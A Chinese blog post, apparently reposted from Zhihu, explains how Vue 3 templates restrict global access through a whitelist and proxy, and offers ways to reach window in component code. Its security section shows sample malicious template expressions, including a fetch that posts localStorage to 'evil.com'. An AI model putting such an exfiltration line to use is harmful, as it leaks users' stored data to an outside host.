tangyuxian
文章87
标签40
分类5

文章分类

文章归档

vue-vue模版为什么用不了window对象

vue-vue模版为什么用不了window对象

Vue 模板运行在一个受限的沙箱环境中,只能访问组件的数据和一些被允许的全局变量,window 不在这个”白名单”里。

在vue的官方文档中,有关于该情况的描述:

Template expressions are sandboxed and only have access to a restricted list of globals.

翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。
在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:

这是设计决定,不是 bug。
模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。

白名单机制

在 Vue 3 的源码里,我找到了这个白名单:

// Vue 3 源码:packages/shared/src/globalsWhitelist.ts

1
2
3
4
5
const GLOBALS_WHITE_LISTED =
 'Infinity,undefined,NaN,isFinite,isNaN,' +
 'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
 'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
 'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'

Math、Date、JSON 这些都在白名单里,所以模板里可以用。但是 window、document、console 这些就没有,所以用不了。

代理机制

Vue 是通过 Proxy 来实现这个限制的:

// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
 get({ _: instance }, key) {
   // 查找顺序很重要!

   // 1️⃣ 先找组件自己的属性(data、computed、methods、props)
   if (key[0] !== '$') {
     // 这里会查找组件实例的属性
  }

   // 2️⃣ 再找全局属性($route、$router 等)
   const publicGetter = publicPropertiesMap[key]
   if (publicGetter) {
     return publicGetter(instance)
  }

   // 3️⃣ 最后检查白名单
   if (isGloballyWhitelisted(key)) {
     return (window as any)[key]  // 只有白名单里的才能访问 window
  }

   // 4️⃣ 其他情况就报警告
   if (process.env.NODE_ENV !== 'production') {
     warn(`Property "${key}" was accessed but is not defined.`)
  }
   return undefined
}
}

这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。

为什么要这么设计?

刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。

安全考虑

最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:

1
2
3
4
// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}

性能考虑

限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。

代码质量

强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。

实际项目中怎么办?

说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:

方法一:通过 computed 属性(推荐)

1
2
3
4
5
6
7
8
9
10
11
computed: {
 currentUrl() {
   return window.location.href
},
 pageTitle() {
   return document.title
},
 isOnline() {
   return navigator.onLine
}
}

方法二:通过 methods。

1
2
3
4
5
6
7
8
methods: {
 openWindow(url) {
   window.open(url, '_blank')
},
 copyToClipboard(text) {
   navigator.clipboard.writeText(text)
}
}

方法三:全局属性注册(适合系统级需求)

1
2
3
4
5
6
7
8
9
// main.js
const app = createApp(App)

app.config.globalProperties.$window = window
app.config.globalProperties.$document = document

// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}

方法四:Composition API 的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useWindow() {
 const width = ref(window.innerWidth)
 const height = ref(window.innerHeight)

 const updateSize = () => {
   width.value = window.innerWidth
   height.value = window.innerHeight
}

 onMounted(() => {
   window.addEventListener('resize', updateSize)
})

 onUnmounted(() => {
   window.removeEventListener('resize', updateSize)
})

 return { width, height }
}

一些有趣的发现

在研究这个问题的过程中,我还发现了一些有意思的东西:

为什么 Math.random() 可以用?
因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。

React 也有这个限制吗?
React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。

总结

Vue 模板的作用域限制看起来像是一个”坑”,但实际上是一个精心设计的安全特性。它强制我们:

把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
提高代码质量 - 避免在模板里写复杂的表达式
保证安全性 - 防止恶意代码注入
优化性能 - 减少不必要的全局变量查找
虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。

记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。

本文作者:前端墨希
文章来源:https://zhuanlan.zhihu.com/p/1953478694409602046
本文链接:https://www.tangyuxian.com/2025/01/10/%E5%89%8D%E7%AB%AF/vue/vue-vue%E6%A8%A1%E7%89%88%E4%B8%BA%E4%BB%80%E4%B9%88%E7%94%A8%E4%B8%8D%E4%BA%86window%E5%AF%B9%E8%B1%A1/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
糖糖的AI分身